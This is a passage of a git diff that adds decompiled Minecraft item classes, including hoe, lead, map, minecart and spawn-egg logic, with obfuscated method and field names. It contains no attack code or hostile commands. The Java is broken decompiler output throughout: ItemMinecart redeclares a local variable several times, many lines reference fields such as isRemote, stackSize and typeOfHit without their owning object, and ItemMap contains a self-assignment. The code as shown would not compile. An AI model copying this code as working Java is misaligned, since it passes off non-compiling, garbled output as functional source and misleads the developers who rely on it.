+      return false;
+    }
+    
+
+    EntityHanging var10 = func_179233_a(worldIn, var9, side);
+    
+    if ((var10 != null) && (var10.onValidSurface()))
+    {
+      if (!isRemote)
+      {
+        worldIn.spawnEntityInWorld(var10);
+      }
+      
+      stackSize -= 1;
+    }
+    
+    return true;
+  }
+  
+
+
+  private EntityHanging func_179233_a(World worldIn, BlockPos p_179233_2_, EnumFacing p_179233_3_)
+  {
+    return hangingEntityClass == EntityItemFrame.class ? new EntityItemFrame(worldIn, p_179233_2_, p_179233_3_) : hangingEntityClass == EntityPainting.class ? new EntityPainting(worldIn, p_179233_2_, p_179233_3_) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemHoe.java b/src/minecraft/net/minecraft/item/ItemHoe.java
new file mode 100644
index 0000000..5e57a20
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemHoe.java
@@ -0,0 +1,126 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.BlockDirt.DirtType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemHoe extends Item
+{
+  protected Item.ToolMaterial theToolMaterial;
+  private static final String __OBFID = "CL_00000039";
+  
+  public ItemHoe(Item.ToolMaterial p_i45343_1_)
+  {
+    theToolMaterial = p_i45343_1_;
+    maxStackSize = 1;
+    setMaxDamage(p_i45343_1_.getMaxUses());
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (!playerIn.func_175151_a(pos.offset(side), side, stack))
+    {
+      return false;
+    }
+    
+
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    
+    if ((side != EnumFacing.DOWN) && (worldIn.getBlockState(pos.offsetUp()).getBlock().getMaterial() == net.minecraft.block.material.Material.air))
+    {
+      if (var10 == Blocks.grass)
+      {
+        return func_179232_a(stack, playerIn, worldIn, pos, Blocks.farmland.getDefaultState());
+      }
+      
+      if (var10 == Blocks.dirt)
+      {
+        switch (SwitchDirtType.field_179590_a[((BlockDirt.DirtType)var9.getValue(net.minecraft.block.BlockDirt.VARIANT)).ordinal()])
+        {
+        case 1: 
+          return func_179232_a(stack, playerIn, worldIn, pos, Blocks.farmland.getDefaultState());
+        
+        case 2: 
+          return func_179232_a(stack, playerIn, worldIn, pos, Blocks.dirt.getDefaultState().withProperty(net.minecraft.block.BlockDirt.VARIANT, BlockDirt.DirtType.DIRT));
+        }
+        
+      }
+    }
+    return false;
+  }
+  
+
+  protected boolean func_179232_a(ItemStack p_179232_1_, EntityPlayer p_179232_2_, World worldIn, BlockPos p_179232_4_, IBlockState p_179232_5_)
+  {
+    worldIn.playSoundEffect(p_179232_4_.getX() + 0.5F, p_179232_4_.getY() + 0.5F, p_179232_4_.getZ() + 0.5F, getBlockstepSound.getStepSound(), (getBlockstepSound.getVolume() + 1.0F) / 2.0F, getBlockstepSound.getFrequency() * 0.8F);
+    
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    worldIn.setBlockState(p_179232_4_, p_179232_5_);
+    p_179232_1_.damageItem(1, p_179232_2_);
+    return true;
+  }
+  
+
+
+
+
+  public boolean isFull3D()
+  {
+    return true;
+  }
+  
+
+
+
+
+  public String getMaterialName()
+  {
+    return theToolMaterial.toString();
+  }
+  
+  static final class SwitchDirtType
+  {
+    static final int[] field_179590_a = new int[BlockDirt.DirtType.values().length];
+    private static final String __OBFID = "CL_00002179";
+    
+    static
+    {
+      try
+      {
+        field_179590_a[BlockDirt.DirtType.DIRT.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_179590_a[BlockDirt.DirtType.COARSE_DIRT.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchDirtType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemLead.java b/src/minecraft/net/minecraft/item/ItemLead.java
new file mode 100644
index 0000000..c244ef5
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemLead.java
@@ -0,0 +1,82 @@
+package net.minecraft.item;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLeashKnot;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemLead extends Item
+{
+  private static final String __OBFID = "CL_00000045";
+  
+  public ItemLead()
+  {
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    Block var9 = worldIn.getBlockState(pos).getBlock();
+    
+    if ((var9 instanceof net.minecraft.block.BlockFence))
+    {
+      if (isRemote)
+      {
+        return true;
+      }
+      
+
+      func_180618_a(playerIn, worldIn, pos);
+      return true;
+    }
+    
+
+
+    return false;
+  }
+  
+
+  public static boolean func_180618_a(EntityPlayer p_180618_0_, World worldIn, BlockPos p_180618_2_)
+  {
+    EntityLeashKnot var3 = EntityLeashKnot.func_174863_b(worldIn, p_180618_2_);
+    boolean var4 = false;
+    double var5 = 7.0D;
+    int var7 = p_180618_2_.getX();
+    int var8 = p_180618_2_.getY();
+    int var9 = p_180618_2_.getZ();
+    List var10 = worldIn.getEntitiesWithinAABB(EntityLiving.class, new AxisAlignedBB(var7 - var5, var8 - var5, var9 - var5, var7 + var5, var8 + var5, var9 + var5));
+    Iterator var11 = var10.iterator();
+    
+    while (var11.hasNext())
+    {
+      EntityLiving var12 = (EntityLiving)var11.next();
+      
+      if ((var12.getLeashed()) && (var12.getLeashedToEntity() == p_180618_0_))
+      {
+        if (var3 == null)
+        {
+          var3 = EntityLeashKnot.func_174862_a(worldIn, p_180618_2_);
+        }
+        
+        var12.setLeashedToEntity(var3, true);
+        var4 = true;
+      }
+    }
+    
+    return var4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemLeaves.java b/src/minecraft/net/minecraft/item/ItemLeaves.java
new file mode 100644
index 0000000..05b7216
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemLeaves.java
@@ -0,0 +1,40 @@
+package net.minecraft.item;
+
+import net.minecraft.block.BlockLeaves;
+
+public class ItemLeaves extends ItemBlock
+{
+  private final BlockLeaves field_150940_b;
+  private static final String __OBFID = "CL_00000046";
+  
+  public ItemLeaves(BlockLeaves p_i45344_1_)
+  {
+    super(p_i45344_1_);
+    field_150940_b = p_i45344_1_;
+    setMaxDamage(0);
+    setHasSubtypes(true);
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage | 0x4;
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    return field_150940_b.getRenderColor(field_150940_b.getStateFromMeta(stack.getMetadata()));
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return super.getUnlocalizedName() + "." + field_150940_b.func_176233_b(stack.getMetadata()).func_176840_c();
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemLilyPad.java b/src/minecraft/net/minecraft/item/ItemLilyPad.java
new file mode 100644
index 0000000..5225b7a
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemLilyPad.java
@@ -0,0 +1,74 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.MovingObjectPosition.MovingObjectType;
+import net.minecraft.world.World;
+
+public class ItemLilyPad extends ItemColored
+{
+  private static final String __OBFID = "CL_00000074";
+  
+  public ItemLilyPad(Block p_i45357_1_)
+  {
+    super(p_i45357_1_, false);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    MovingObjectPosition var4 = getMovingObjectPositionFromPlayer(worldIn, playerIn, true);
+    
+    if (var4 == null)
+    {
+      return itemStackIn;
+    }
+    
+
+    if (typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK)
+    {
+      BlockPos var5 = var4.func_178782_a();
+      
+      if (!worldIn.isBlockModifiable(playerIn, var5))
+      {
+        return itemStackIn;
+      }
+      
+      if (!playerIn.func_175151_a(var5.offset(field_178784_b), field_178784_b, itemStackIn))
+      {
+        return itemStackIn;
+      }
+      
+      BlockPos var6 = var5.offsetUp();
+      IBlockState var7 = worldIn.getBlockState(var5);
+      
+      if ((var7.getBlock().getMaterial() == net.minecraft.block.material.Material.water) && (((Integer)var7.getValue(BlockLiquid.LEVEL)).intValue() == 0) && (worldIn.isAirBlock(var6)))
+      {
+        worldIn.setBlockState(var6, Blocks.waterlily.getDefaultState());
+        
+        if (!capabilities.isCreativeMode)
+        {
+          stackSize -= 1;
+        }
+        
+        playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+      }
+    }
+    
+    return itemStackIn;
+  }
+  
+
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    return Blocks.waterlily.getRenderColor(Blocks.waterlily.getStateFromMeta(stack.getMetadata()));
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemMap.java b/src/minecraft/net/minecraft/item/ItemMap.java
new file mode 100644
index 0000000..9ddf70d
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemMap.java
@@ -0,0 +1,296 @@
+package net.minecraft.item;
+
+import com.google.common.collect.HashMultiset;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockStone;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.storage.MapData;
+import net.minecraft.world.storage.MapData.MapInfo;
+import net.minecraft.world.storage.WorldInfo;
+
+public class ItemMap extends ItemMapBase
+{
+  private static final String __OBFID = "CL_00000047";
+  
+  protected ItemMap()
+  {
+    setHasSubtypes(true);
+  }
+  
+  public static MapData loadMapData(int p_150912_0_, World worldIn)
+  {
+    String var2 = "map_" + p_150912_0_;
+    MapData var3 = (MapData)worldIn.loadItemData(MapData.class, var2);
+    
+    if (var3 == null)
+    {
+      var3 = new MapData(var2);
+      worldIn.setItemData(var2, var3);
+    }
+    
+    return var3;
+  }
+  
+  public MapData getMapData(ItemStack p_77873_1_, World worldIn)
+  {
+    String var3 = "map_" + p_77873_1_.getMetadata();
+    MapData var4 = (MapData)worldIn.loadItemData(MapData.class, var3);
+    
+    if ((var4 == null) && (!isRemote))
+    {
+      p_77873_1_.setItemDamage(worldIn.getUniqueDataId("map"));
+      var3 = "map_" + p_77873_1_.getMetadata();
+      var4 = new MapData(var3);
+      scale = 3;
+      var4.func_176054_a(worldIn.getWorldInfo().getSpawnX(), worldIn.getWorldInfo().getSpawnZ(), scale);
+      dimension = ((byte)provider.getDimensionId());
+      var4.markDirty();
+      worldIn.setItemData(var3, var4);
+    }
+    
+    return var4;
+  }
+  
+  public void updateMapData(World worldIn, Entity p_77872_2_, MapData p_77872_3_)
+  {
+    if ((provider.getDimensionId() == dimension) && ((p_77872_2_ instanceof EntityPlayer)))
+    {
+      int var4 = 1 << scale;
+      int var5 = xCenter;
+      int var6 = zCenter;
+      int var7 = MathHelper.floor_double(posX - var5) / var4 + 64;
+      int var8 = MathHelper.floor_double(posZ - var6) / var4 + 64;
+      int var9 = 128 / var4;
+      
+      if (provider.getHasNoSky())
+      {
+        var9 /= 2;
+      }
+      
+      MapData.MapInfo var10 = p_77872_3_.func_82568_a((EntityPlayer)p_77872_2_);
+      field_82569_d += 1;
+      boolean var11 = false;
+      
+      for (int var12 = var7 - var9 + 1; var12 < var7 + var9; var12++)
+      {
+        if (((var12 & 0xF) == (field_82569_d & 0xF)) || (var11))
+        {
+          var11 = false;
+          double var13 = 0.0D;
+          
+          for (int var15 = var8 - var9 - 1; var15 < var8 + var9; var15++)
+          {
+            if ((var12 >= 0) && (var15 >= -1) && (var12 < 128) && (var15 < 128))
+            {
+              int var16 = var12 - var7;
+              int var17 = var15 - var8;
+              boolean var18 = var16 * var16 + var17 * var17 > (var9 - 2) * (var9 - 2);
+              int var19 = (var5 / var4 + var12 - 64) * var4;
+              int var20 = (var6 / var4 + var15 - 64) * var4;
+              HashMultiset var21 = HashMultiset.create();
+              Chunk var22 = worldIn.getChunkFromBlockCoords(new BlockPos(var19, 0, var20));
+              
+              if (!var22.isEmpty())
+              {
+                int var23 = var19 & 0xF;
+                int var24 = var20 & 0xF;
+                int var25 = 0;
+                double var26 = 0.0D;
+                
+
+                if (provider.getHasNoSky())
+                {
+                  int var28 = var19 + var20 * 231871;
+                  var28 = var28 * var28 * 31287121 + var28 * 11;
+                  
+                  if ((var28 >> 20 & 0x1) == 0)
+                  {
+                    var21.add(Blocks.dirt.getMapColor(Blocks.dirt.getDefaultState().withProperty(net.minecraft.block.BlockDirt.VARIANT, net.minecraft.block.BlockDirt.DirtType.DIRT)), 10);
+                  }
+                  else
+                  {
+                    var21.add(Blocks.stone.getMapColor(Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT_PROP, net.minecraft.block.BlockStone.EnumType.STONE)), 100);
+                  }
+                  
+                  var26 = 100.0D;
+                }
+                else
+                {
+                  for (int var28 = 0; var28 < var4; var28++)
+                  {
+                    for (int var29 = 0; var29 < var4; var29++)
+                    {
+                      int var30 = var22.getHeight(var28 + var23, var29 + var24) + 1;
+                      IBlockState var31 = Blocks.air.getDefaultState();
+                      
+                      if (var30 > 1)
+                      {
+                        do
+                        {
+                          var30--;
+                          var31 = var22.getBlockState(new BlockPos(var28 + var23, var30, var29 + var24));
+                        }
+                        while ((var31.getBlock().getMapColor(var31) == MapColor.airColor) && (var30 > 0));
+                        
+                        if ((var30 > 0) && (var31.getBlock().getMaterial().isLiquid()))
+                        {
+                          int var32 = var30 - 1;
+                          
+                          Block var33;
+                          do
+                          {
+                            var33 = var22.getBlock(var28 + var23, var32--, var29 + var24);
+                            var25++;
+                          }
+                          while ((var32 > 0) && (var33.getMaterial().isLiquid()));
+                        }
+                      }
+                      
+                      var26 += var30 / (var4 * var4);
+                      var21.add(var31.getBlock().getMapColor(var31));
+                    }
+                  }
+                }
+                
+                var25 /= var4 * var4;
+                double var34 = (var26 - var13) * 4.0D / (var4 + 4) + ((var12 + var15 & 0x1) - 0.5D) * 0.4D;
+                byte var35 = 1;
+                
+                if (var34 > 0.6D)
+                {
+                  var35 = 2;
+                }
+                
+                if (var34 < -0.6D)
+                {
+                  var35 = 0;
+                }
+                
+                MapColor var36 = (MapColor)com.google.common.collect.Iterables.getFirst(com.google.common.collect.Multisets.copyHighestCountFirst(var21), MapColor.airColor);
+                
+                if (var36 == MapColor.waterColor)
+                {
+                  var34 = var25 * 0.1D + (var12 + var15 & 0x1) * 0.2D;
+                  var35 = 1;
+                  
+                  if (var34 < 0.5D)
+                  {
+                    var35 = 2;
+                  }
+                  
+                  if (var34 > 0.9D)
+                  {
+                    var35 = 0;
+                  }
+                }
+                
+                var13 = var26;
+                
+                if ((var15 >= 0) && (var16 * var16 + var17 * var17 < var9 * var9) && ((!var18) || ((var12 + var15 & 0x1) != 0)))
+                {
+                  byte var37 = colors[(var12 + var15 * 128)];
+                  byte var38 = (byte)(colorIndex * 4 + var35);
+                  
+                  if (var37 != var38)
+                  {
+                    colors[(var12 + var15 * 128)] = var38;
+                    p_77872_3_.func_176053_a(var12, var15);
+                    var11 = true;
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void onUpdate(ItemStack stack, World worldIn, Entity entityIn, int itemSlot, boolean isSelected)
+  {
+    if (!isRemote)
+    {
+      MapData var6 = getMapData(stack, worldIn);
+      
+      if ((entityIn instanceof EntityPlayer))
+      {
+        EntityPlayer var7 = (EntityPlayer)entityIn;
+        var6.updateVisiblePlayers(var7, stack);
+      }
+      
+      if (isSelected)
+      {
+        updateMapData(worldIn, entityIn, var6);
+      }
+    }
+  }
+  
+  public net.minecraft.network.Packet createMapDataPacket(ItemStack p_150911_1_, World worldIn, EntityPlayer p_150911_3_)
+  {
+    return getMapData(p_150911_1_, worldIn).func_176052_a(p_150911_1_, worldIn, p_150911_3_);
+  }
+  
+
+
+
+  public void onCreated(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    if ((stack.hasTagCompound()) && (stack.getTagCompound().getBoolean("map_is_scaling")))
+    {
+      MapData var4 = Items.filled_map.getMapData(stack, worldIn);
+      stack.setItemDamage(worldIn.getUniqueDataId("map"));
+      MapData var5 = new MapData("map_" + stack.getMetadata());
+      scale = ((byte)(scale + 1));
+      
+      if (scale > 4)
+      {
+        scale = 4;
+      }
+      
+      var5.func_176054_a(xCenter, zCenter, scale);
+      dimension = dimension;
+      var5.markDirty();
+      worldIn.setItemData("map_" + stack.getMetadata(), var5);
+    }
+  }
+  
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    MapData var5 = getMapData(stack, worldObj);
+    
+    if (advanced)
+    {
+      if (var5 == null)
+      {
+        tooltip.add("Unknown map");
+      }
+      else
+      {
+        tooltip.add("Scaling at 1:" + (1 << scale));
+        tooltip.add("(Level " + scale + "/" + 4 + ")");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemMapBase.java b/src/minecraft/net/minecraft/item/ItemMapBase.java
new file mode 100644
index 0000000..237b039
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemMapBase.java
@@ -0,0 +1,23 @@
+package net.minecraft.item;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.network.Packet;
+import net.minecraft.world.World;
+
+public class ItemMapBase
+  extends Item
+{
+  private static final String __OBFID = "CL_00000004";
+  
+  public ItemMapBase() {}
+  
+  public boolean isMap()
+  {
+    return true;
+  }
+  
+  public Packet createMapDataPacket(ItemStack p_150911_1_, World worldIn, EntityPlayer p_150911_3_)
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemMinecart.java b/src/minecraft/net/minecraft/item/ItemMinecart.java
new file mode 100644
index 0000000..f991ddb
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemMinecart.java
@@ -0,0 +1,132 @@
+package net.minecraft.item;
+
+import net.minecraft.block.BlockDispenser;
+import net.minecraft.block.BlockRailBase;
+import net.minecraft.block.BlockRailBase.EnumRailDirection;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.dispenser.BehaviorDefaultDispenseItem;
+import net.minecraft.dispenser.IBlockSource;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemMinecart extends Item
+{
+  private static final net.minecraft.dispenser.IBehaviorDispenseItem dispenserMinecartBehavior = new BehaviorDefaultDispenseItem()
+  {
+    private final BehaviorDefaultDispenseItem behaviourDefaultDispenseItem = new BehaviorDefaultDispenseItem();
+    private static final String __OBFID = "CL_00000050";
+    
+    public ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+      EnumFacing var3 = BlockDispenser.getFacing(source.getBlockMetadata());
+      World var4 = source.getWorld();
+      double var5 = source.getX() + var3.getFrontOffsetX() * 1.125D;
+      double var7 = Math.floor(source.getY()) + var3.getFrontOffsetY();
+      double var9 = source.getZ() + var3.getFrontOffsetZ() * 1.125D;
+      BlockPos var11 = source.getBlockPos().offset(var3);
+      IBlockState var12 = var4.getBlockState(var11);
+      BlockRailBase.EnumRailDirection var13 = (var12.getBlock() instanceof BlockRailBase) ? (BlockRailBase.EnumRailDirection)var12.getValue(((BlockRailBase)var12.getBlock()).func_176560_l()) : BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+      double var14;
+      double var14;
+      if (BlockRailBase.func_176563_d(var12)) {
+        double var14;
+        if (var13.func_177018_c())
+        {
+          var14 = 0.6D;
+        }
+        else
+        {
+          var14 = 0.1D;
+        }
+      }
+      else
+      {
+        if ((var12.getBlock().getMaterial() != net.minecraft.block.material.Material.air) || (!BlockRailBase.func_176563_d(var4.getBlockState(var11.offsetDown()))))
+        {
+          return behaviourDefaultDispenseItem.dispense(source, stack);
+        }
+        
+        IBlockState var16 = var4.getBlockState(var11.offsetDown());
+        BlockRailBase.EnumRailDirection var17 = (var16.getBlock() instanceof BlockRailBase) ? (BlockRailBase.EnumRailDirection)var16.getValue(((BlockRailBase)var16.getBlock()).func_176560_l()) : BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+        double var14;
+        if ((var3 != EnumFacing.DOWN) && (var17.func_177018_c()))
+        {
+          var14 = -0.4D;
+        }
+        else
+        {
+          var14 = -0.9D;
+        }
+      }
+      
+      EntityMinecart var18 = EntityMinecart.func_180458_a(var4, var5, var7 + var14, var9, getItemminecartType);
+      
+      if (stack.hasDisplayName())
+      {
+        var18.setCustomNameTag(stack.getDisplayName());
+      }
+      
+      var4.spawnEntityInWorld(var18);
+      stack.splitStack(1);
+      return stack;
+    }
+    
+    protected void playDispenseSound(IBlockSource source) {
+      source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+    }
+  };
+  private final EntityMinecart.EnumMinecartType minecartType;
+  private static final String __OBFID = "CL_00000049";
+  
+  public ItemMinecart(EntityMinecart.EnumMinecartType p_i45785_1_)
+  {
+    maxStackSize = 1;
+    minecartType = p_i45785_1_;
+    setCreativeTab(CreativeTabs.tabTransport);
+    BlockDispenser.dispenseBehaviorRegistry.putObject(this, dispenserMinecartBehavior);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    IBlockState var9 = worldIn.getBlockState(pos);
+    
+    if (BlockRailBase.func_176563_d(var9))
+    {
+      if (!isRemote)
+      {
+        BlockRailBase.EnumRailDirection var10 = (var9.getBlock() instanceof BlockRailBase) ? (BlockRailBase.EnumRailDirection)var9.getValue(((BlockRailBase)var9.getBlock()).func_176560_l()) : BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+        double var11 = 0.0D;
+        
+        if (var10.func_177018_c())
+        {
+          var11 = 0.5D;
+        }
+        
+        EntityMinecart var13 = EntityMinecart.func_180458_a(worldIn, pos.getX() + 0.5D, pos.getY() + 0.0625D + var11, pos.getZ() + 0.5D, minecartType);
+        
+        if (stack.hasDisplayName())
+        {
+          var13.setCustomNameTag(stack.getDisplayName());
+        }
+        
+        worldIn.spawnEntityInWorld(var13);
+      }
+      
+      stackSize -= 1;
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemMonsterPlacer.java b/src/minecraft/net/minecraft/item/ItemMonsterPlacer.java
new file mode 100644
index 0000000..df7c0e7
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemMonsterPlacer.java
@@ -0,0 +1,231 @@
+package net.minecraft.item;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityList.EntityEggInfo;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.tileentity.MobSpawnerBaseLogic;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+public class ItemMonsterPlacer extends Item
+{
+  private static final String __OBFID = "CL_00000070";
+  
+  public ItemMonsterPlacer()
+  {
+    setHasSubtypes(true);
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+  public String getItemStackDisplayName(ItemStack stack)
+  {
+    String var2 = StatCollector.translateToLocal(new StringBuilder(String.valueOf(getUnlocalizedName())).append(".name").toString()).trim();
+    String var3 = EntityList.getStringFromID(stack.getMetadata());
+    
+    if (var3 != null)
+    {
+      var2 = var2 + " " + StatCollector.translateToLocal(new StringBuilder("entity.").append(var3).append(".name").toString());
+    }
+    
+    return var2;
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    EntityList.EntityEggInfo var3 = (EntityList.EntityEggInfo)EntityList.entityEggs.get(Integer.valueOf(stack.getMetadata()));
+    return var3 != null ? secondaryColor : renderPass == 0 ? primaryColor : 16777215;
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    if (!playerIn.func_175151_a(pos.offset(side), side, stack))
+    {
+      return false;
+    }
+    
+
+    IBlockState var9 = worldIn.getBlockState(pos);
+    
+    if (var9.getBlock() == net.minecraft.init.Blocks.mob_spawner)
+    {
+      TileEntity var10 = worldIn.getTileEntity(pos);
+      
+      if ((var10 instanceof TileEntityMobSpawner))
+      {
+        MobSpawnerBaseLogic var11 = ((TileEntityMobSpawner)var10).getSpawnerBaseLogic();
+        var11.setEntityName(EntityList.getStringFromID(stack.getMetadata()));
+        var10.markDirty();
+        worldIn.markBlockForUpdate(pos);
+        
+        if (!capabilities.isCreativeMode)
+        {
+          stackSize -= 1;
+        }
+        
+        return true;
+      }
+    }
+    
+    pos = pos.offset(side);
+    double var13 = 0.0D;
+    
+    if ((side == EnumFacing.UP) && ((var9 instanceof net.minecraft.block.BlockFence)))
+    {
+      var13 = 0.5D;
+    }
+    
+    Entity var12 = spawnCreature(worldIn, stack.getMetadata(), pos.getX() + 0.5D, pos.getY() + var13, pos.getZ() + 0.5D);
+    
+    if (var12 != null)
+    {
+      if (((var12 instanceof EntityLivingBase)) && (stack.hasDisplayName()))
+      {
+        var12.setCustomNameTag(stack.getDisplayName());
+      }
+      
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (isRemote)
+    {
+      return itemStackIn;
+    }
+    
+
+    MovingObjectPosition var4 = getMovingObjectPositionFromPlayer(worldIn, playerIn, true);
+    
+    if (var4 == null)
+    {
+      return itemStackIn;
+    }
+    
+
+    if (typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK)
+    {
+      BlockPos var5 = var4.func_178782_a();
+      
+      if (!worldIn.isBlockModifiable(playerIn, var5))
+      {
+        return itemStackIn;
+      }
+      
+      if (!playerIn.func_175151_a(var5, field_178784_b, itemStackIn))
+      {
+        return itemStackIn;
+      }
+      
+      if ((worldIn.getBlockState(var5).getBlock() instanceof net.minecraft.block.BlockLiquid))
+      {
+        Entity var6 = spawnCreature(worldIn, itemStackIn.getMetadata(), var5.getX() + 0.5D, var5.getY() + 0.5D, var5.getZ() + 0.5D);
+        
+        if (var6 != null)
+        {
+          if (((var6 instanceof EntityLivingBase)) && (itemStackIn.hasDisplayName()))
+          {
+            ((EntityLiving)var6).setCustomNameTag(itemStackIn.getDisplayName());
+          }
+          
+          if (!capabilities.isCreativeMode)
+          {
+            stackSize -= 1;
+          }
+          
+          playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+        }
+      }
+    }
+    
+    return itemStackIn;
+  }
+  
+
+
+
+
+
+
+  public static Entity spawnCreature(World worldIn, int p_77840_1_, double p_77840_2_, double p_77840_4_, double p_77840_6_)
+  {
+    if (!EntityList.entityEggs.containsKey(Integer.valueOf(p_77840_1_)))
+    {
+      return null;
+    }
+    
+
+    Entity var8 = null;
+    
+    for (int var9 = 0; var9 < 1; var9++)
+    {
+      var8 = EntityList.createEntityByID(p_77840_1_, worldIn);
+      
+      if ((var8 instanceof EntityLivingBase))
+      {
+        EntityLiving var10 = (EntityLiving)var8;
+        var8.setLocationAndAngles(p_77840_2_, p_77840_4_, p_77840_6_, MathHelper.wrapAngleTo180_float(rand.nextFloat() * 360.0F), 0.0F);
